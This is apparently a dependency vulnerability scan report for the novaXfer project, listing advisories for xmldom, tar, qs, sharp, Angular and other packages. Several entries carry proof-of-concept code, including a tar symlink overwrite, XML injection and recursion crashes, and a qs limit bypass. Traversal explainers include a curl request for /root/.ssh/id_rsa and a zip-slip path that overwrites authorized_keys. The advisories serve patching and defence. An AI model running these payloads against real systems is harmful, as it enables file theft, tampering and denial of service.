Vulnerabilities |
65 via 79 paths |
|---|---|
Dependencies |
389 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Improper Input Validation due to parsing XML that is not well-formed, and contains multiple top-level elements. All the root nodes are being added to the childNodes collection of the Document, without reporting or throwing any error.
Workarounds
One of the following approaches might help, depending on your use case:
Instead of searching for elements in the whole DOM, only search in the
documentElement.Reject a document with a document that has more than 1
childNode.
PoC
var DOMParser = require('xmldom').DOMParser;
var xmlData = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<root>\n' +
' <branch girth="large">\n' +
' <leaf color="green" />\n' +
' </branch>\n' +
'</root>\n' +
'<root>\n' +
' <branch girth="twig">\n' +
' <leaf color="gold" />\n' +
' </branch>\n' +
'</root>\n';
var xmlDOM = new DOMParser().parseFromString(xmlData);
console.log(xmlDOM.toString());
This will result with the following output:
<?xml version="1.0" encoding="UTF-8"?><root>
<branch girth="large">
<leaf color="green"/>
</branch>
</root>
<root>
<branch girth="twig">
<leaf color="gold"/>
</branch>
</root>
Remediation
There is no fixed version for xmldom.
References
critical severity
- Vulnerable module: sharp
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4Remediation: Upgrade to gulp-favicons@4.0.0.
Overview
sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images
Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.
Notes:
This is only exploitable if the color_cache_bits value defines which size to use.
This vulnerability was also published on libwebp CVE-2023-5129
Changelog:
2023-09-12: Initial advisory publication
2023-09-27: Advisory details updated, including CVSS, references
2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863
2023-09-28: Research and addition of additional affected libraries
2024-01-28: Additional fix information
Remediation
Upgrade sharp to version 0.32.6 or higher.
References
critical severity
- Vulnerable module: form-data
- Introduced through: request@2.88.2 and gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › request@2.88.2 › form-data@2.3.3
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
critical severity
- Vulnerable module: @angular/common
- Introduced through: @angular/common@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/common@4.4.7Remediation: Upgrade to @angular/common@20.3.25.
Overview
Affected versions of this package are vulnerable to Use of Weak Hash due to the use of a weak 32-bit hash in the HttpTransferCache. When a victim visits a crafted link containing the colliding parameter, the SSR process executes both the search request and the profile request. Due to the hash collision, the search response overwrites the profile response in the TransferState cache.
Workaround
This vulnerability can be mitigated by configuring HTTP requests to skip transfer caching for sensitive endpoints or by disabling the HTTP transfer cache globally in the application bootstrap configuration.
Remediation
Upgrade @angular/common to version 20.3.25, 21.2.17, 22.0.1 or higher.
References
high severity
- Vulnerable module: image-size
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › image-size@0.8.3
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › image-size@0.5.5
Overview
Affected versions of this package are vulnerable to Infinite loop in the extractPartialStreams() and corresponding extraction functions for HEIF, JP2, and JXL. An attacker supplying an image whose requested box declares a size of zero can hang the parser indefinitely.
Note: This is a bypass of the fix for the vulnerability described in CVE-2025-71319.
Remediation
There is no fixed version for image-size.
References
high severity
- Vulnerable module: image-size
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › image-size@0.8.3
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › image-size@0.5.5
Overview
Affected versions of this package are vulnerable to Infinite loop in icns.js. An ICNS file with an icon entry whose declared length is zero can hang the parser indefinitely.
Remediation
There is no fixed version for image-size.
References
high severity
- Vulnerable module: qs
- Introduced through: request@2.88.2 and gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › request@2.88.2 › qs@6.5.5
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › request@2.88.2 › qs@6.5.5
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.
PoC
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Remediation
Upgrade qs to version 6.14.1 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.
Remediation
Upgrade tar to version 7.5.19 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
high severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive processing of deeply nested XML documents by several DOM-related operations, including normalize, serializeToString, getElementsByTagName, getElementsByTagNameNS, getElementsByClassName, getElementById, cloneNode, importNode, textContent, and isEqualNode. An attacker can cause the application to crash or become unresponsive by submitting a valid, deeply nested XML payload that triggers uncontrolled recursion and stack exhaustion.
PoC
const { DOMParser, XMLSerializer } = require('@xmldom/xmldom');
const depth = 5000;
const xml = '<a>'.repeat(depth) + '</a>'.repeat(depth);
const doc = new DOMParser().parseFromString(xml, 'text/xml');
new XMLSerializer().serializeToString(doc);
// RangeError: Maximum call stack size exceeded
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML Injection due to unvalidated comment serialization. When an application uses the package to create an XML comment from untrusted user input, the package fails to sanitize comment-breaking sequences (like -->). An attacker can input --> to terminate the comment prematurely. Once the comment is broken out of, any text the attacker places after the --> is treated as "live" XML markup by the serializer rather than harmless comment text.
PoC
const { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');
const doc = new DOMImplementation().createDocument(null, 'root', null);
doc.documentElement.appendChild(
doc.createComment('--><injected attr="1"/><!--')
);
const xml = new XMLSerializer().serializeToString(doc);
console.log(xml);
// <root><!----><injected attr="1"/><!----></root>
const reparsed = new DOMParser().parseFromString(xml, 'text/xml');
console.log(reparsed.documentElement.childNodes.item(1).nodeName);
// injected
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML Injection in the serialization of DocumentType nodes when attacker-controlled values are provided to the publicId, systemId, or internalSubset fields. An attacker can inject arbitrary XML markup into the serialized output by supplying specially crafted input to these fields, potentially leading to the injection of malicious DOCTYPE declarations or markup outside the intended context.
Note:
This is only exploitable if untrusted data is passed programmatically to createDocumentType or written directly to the relevant properties and then serialized without enabling strict validation.
Workaround
This vulnerability can be mitigated by passing the option { requireWellFormed: true } to XMLSerializer.serializeToString() to enforce validation of the affected fields.
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML Injection via the createProcessingInstruction function. An attacker can inject arbitrary XML nodes into the serialized output by supplying specially crafted data containing the PI-closing sequence, which is not validated or neutralized during serialization. This can alter the structure and meaning of generated XML documents, potentially impacting workflows that store, forward, sign, or parse XML.
Note:
This is only exploitable if the serialization is performed without passing the { requireWellFormed: true } option.
PoC
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const doc = new DOMImplementation().createDocument(null, 'r', null);
doc.documentElement.appendChild(
doc.createProcessingInstruction('a', '?><z/><?q ')
);
console.log(new XMLSerializer().serializeToString(doc));
// <r><?a ?><z/><?q ?></r>
// ^^^^ injected <z/> element is active markup
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: @angular/core
- Introduced through: @angular/core@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/core@4.4.7Remediation: Upgrade to @angular/core@20.3.25.
Overview
@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Modification of Assumed-Immutable Data via document.getElementById('ng-state'), during client-side SSR hydration, which enables DOM clobbering. An attacker can inject malicious JSON payloads into the application's TransferState cache by introducing a DOM element with a predictable identifier before the legitimate state script is parsed, causing forged API responses to be served to users and leading to the execution of arbitrary scripts, privilege escalation, or UI manipulation.
Workaround
This vulnerability can be mitigated by sanitizing or prefixing dynamic IDs to prevent user-controlled values from being used directly, or by configuring a unique, non-predictable application ID to change the state element's identifier.
Remediation
Upgrade @angular/core to version 20.3.25, 21.2.17, 22.0.1 or higher.
References
high severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Prototype Pollution through the copy() function in dom.js. Exploiting this vulnerability is possible via the p variable.
DISPUTED This vulnerability has been disputed by the maintainers of the package. Currently the only viable exploit that has been demonstrated is to pollute the target object (rather then the global object which is generally the case for Prototype Pollution vulnerabilities) and it is yet unclear if this limited attack vector exposes any vulnerability in the context of this package.
See the linked GitHub Issue for full details on the discussion around the legitimacy and potential revocation of this vulnerability.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for xmldom.
References
high severity
- Vulnerable module: @angular/compiler
- Introduced through: @angular/compiler@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/compiler@4.4.7Remediation: Upgrade to @angular/compiler@19.2.17.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via incomplete sanitization of certain SVG and MathML attributes, including xlink:href, math|href, as well as the attributeName attribute of SVG animation elements when it is bound to href or xlink:href. An attacker can execute arbitrary JavaScript code in the context of the application by injecting a javascript: URL payload into these attributes, which is then triggered either by user interaction or automatically through animation.
Workaround
This vulnerability can be mitigated by:
Ensuring that data bound to the vulnerable attributes is never sourced from untrusted user input
Avoiding affected template bindings
Not binding untrusted data to the
attributeNameattribute of SVG animation elementsEnabling a robust Content Security Policy (CSP) that disallows
javascript:URLs.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/compiler to version 19.2.17, 20.3.15, 21.0.2 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: @angular/common
- Introduced through: @angular/common@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/common@4.4.7Remediation: Upgrade to @angular/common@19.2.23.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the formatNumber function when the digitsInfo parameter is controlled by untrusted user input. An attacker can exhaust system resources and cause application unavailability by supplying a specially crafted digitsInfo string with excessively large fraction digit values.
Note: This is only exploitable if the application uses number formatting utilities and allows untrusted input to control the digitsInfo parameter.
Remediation
Upgrade @angular/common to version 19.2.23, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.
References
high severity
- Vulnerable module: @angular/common
- Introduced through: @angular/common@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/common@4.4.7Remediation: Upgrade to @angular/common@20.3.25.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the formatDate function when processing an excessively long or attacker-controlled date format string. An attacker can cause high CPU and memory consumption, leading to application unavailability or browser unresponsiveness by supplying a maliciously crafted format string.
Note: This is only exploitable if the application formats dates using the vulnerable utility or pipe and the format string is customizable or controlled by untrusted user input.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade @angular/common to version 20.3.25, 21.2.17, 22.0.1 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
high severity
- Vulnerable module: bson
- Introduced through: mongodb@2.2.36
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › mongodb@2.2.36 › mongodb-core@2.1.20 › bson@1.0.9Remediation: Upgrade to mongodb@3.1.3.
Overview
bson is a BSON Parser for node and browser.
Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.
NOTE: This vulnerability has also been identified as: CVE-2019-2391
Remediation
Upgrade bson to version 1.1.4 or higher.
References
high severity
- Vulnerable module: bson
- Introduced through: mongodb@2.2.36
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › mongodb@2.2.36 › mongodb-core@2.1.20 › bson@1.0.9Remediation: Upgrade to mongodb@3.1.3.
Overview
bson is a BSON Parser for node and browser.
